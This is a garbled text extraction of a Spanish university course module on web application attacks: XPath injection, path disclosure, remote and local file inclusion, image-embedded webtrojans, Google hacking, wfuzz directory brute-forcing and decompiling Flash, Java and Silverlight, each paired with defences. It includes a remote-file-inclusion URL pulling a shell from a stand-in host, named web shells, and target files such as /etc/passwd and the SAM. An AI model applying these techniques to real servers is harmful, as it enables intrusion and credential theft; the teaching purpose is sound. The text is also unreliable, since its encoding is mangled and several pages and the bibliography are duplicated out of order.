Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
